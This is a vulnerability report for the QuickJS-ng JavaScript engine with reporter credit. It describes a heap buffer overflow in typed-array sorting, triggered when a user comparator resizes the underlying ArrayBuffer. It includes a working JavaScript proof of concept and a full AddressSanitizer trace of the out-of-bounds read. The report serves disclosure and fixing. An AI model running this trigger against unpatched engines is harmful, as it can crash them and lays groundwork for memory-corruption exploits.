Overview
After rqsort is called, js_typed_array_sort uses an index array(array_idx) to construct the final sorted typed array. More specificallyj = array_idx[i]; can trigger a heap buffer overflow if array_idx[i] is greater than the array buffer's size. If a user-supplied comparator function resizes the buffer, the OOB checks inside js_TA_cmp_generic can be evaded if the resize occurs after large indices have already been moved to valid positions.
PoC
const trigger = 1734; // determined via trial and error
const sz = 256;
const newSz = 10;
const ab = new ArrayBuffer(sz, { maxByteLength: sz * 10 });
const u8 = new Uint8Array(ab);
// fill with ascending values
for (let i = 0; i < sz; i++) u8[i] = i;
// Make the last element 0 so it moves to front
// We want rqsort to place index 255 at the beginning of array_idx before the resize
// in order to bypass OOB check in js_TA_cmp_generic
/* if (a_idx >= p->u.array.count || b_idx >= p->u.array.count) {
// OOB case
psc->exception = 2;
return 0;
}
*/
u8[sz - 1] = 0;
let cnt = 0;
u8.sort((a, b) => {
cnt++;
if (cnt === trigger) {
// when this resize happens, array_idx already has index 255 at the beginning
// so the OOB check in js_TA_cmp_generic is bypassed
// OOB access happens at this point in js_typed_array_sort
/*
case 1:
for(i = 0; i < len; i++) {
j = array_idx[i]; // here
((uint8_t *)array_ptr)[i] = ((uint8_t *)array_tmp)[j];
}
break;
*/
try { ab.resize(newSz); } catch(e){}
}
return a - b;
});
ASAN output:
=================================================================
==1006240==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50200000130f at pc 0x5e405dc7c1eb bp 0x7ffce473d660 sp 0x7ffce473d650
READ of size 1 at 0x50200000130f thread T0
#0 0x5e405dc7c1ea in js_typed_array_sort (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x19e1ea) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#1 0x5e405dc74811 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x196811) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#2 0x5e405db4b863 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6d863) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#3 0x5e405db4cda4 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6eda4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#4 0x5e405dcd3921 in js_async_function_resume (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f5921) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#5 0x5e405dcd8f30 in js_async_function_call.constprop.0 (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1faf30) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#6 0x5e405dcd9454 in js_execute_sync_module (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1fb454) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#7 0x5e405dcde6b5 in js_inner_module_evaluation (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x2006b5) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#8 0x5e405dce3a7d in JS_EvalFunction (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x205a7d) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#9 0x5e405db11ffc in main (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x33ffc) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#10 0x7015aa02a3b7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#11 0x7015aa02a47a in __libc_start_main_impl ../csu/libc-start.c:360
#12 0x5e405db127d4 in _start (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x347d4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
0x50200000130f is located 245 bytes after 10-byte region [0x502000001210,0x50200000121a)
allocated by thread T0 here:
#0 0x7015aa4fd9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
#1 0x5e405db70317 in js_malloc (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x92317) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#2 0x5e405dc7b990 in js_typed_array_sort (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x19d990) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#3 0x5e405dc74811 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x196811) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#4 0x5e405db4b863 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6d863) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#5 0x5e405db4cda4 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6eda4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#6 0x5e405dcd3921 in js_async_function_resume (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f5921) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#7 0x5e405dcd8f30 in js_async_function_call.constprop.0 (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1faf30) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#8 0x5e405dcd9454 in js_execute_sync_module (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1fb454) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#9 0x5e405dcde6b5 in js_inner_module_evaluation (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x2006b5) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#10 0x5e405dce3a7d in JS_EvalFunction (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x205a7d) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#11 0x5e405db11ffc in main (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x33ffc) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#12 0x7015aa02a3b7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#13 0x7015aa02a47a in __libc_start_main_impl ../csu/libc-start.c:360
#14 0x5e405db127d4 in _start (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x347d4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x19e1ea) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56) in js_typed_array_sort
Shadow bytes around the buggy address:
0x502000001080: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
0x502000001100: fa fa fd fd fa fa fd fd fa fa fd fa fa fa fd fa
0x502000001180: fa fa fd fd fa fa 00 fa fa fa 00 fa fa fa 00 02
0x502000001200: fa fa 00 02 fa fa fa fa fa fa fa fa fa fa fa fa
0x502000001280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x502000001300: fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x502000001380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x502000001400: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x502000001480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x502000001500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x502000001580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1006240==ABORTING
Reporter credit: mcsky23 (Vlad Ionut Seba)
Overview
After
rqsortis called,js_typed_array_sortuses an index array(array_idx) to construct the final sorted typed array. More specificallyj = array_idx[i];can trigger a heap buffer overflow ifarray_idx[i]is greater than the array buffer's size. If a user-supplied comparator function resizes the buffer, the OOB checks insidejs_TA_cmp_genericcan be evaded if the resize occurs after large indices have already been moved to valid positions.PoC
ASAN output:
Reporter credit: mcsky23 (Vlad Ionut Seba)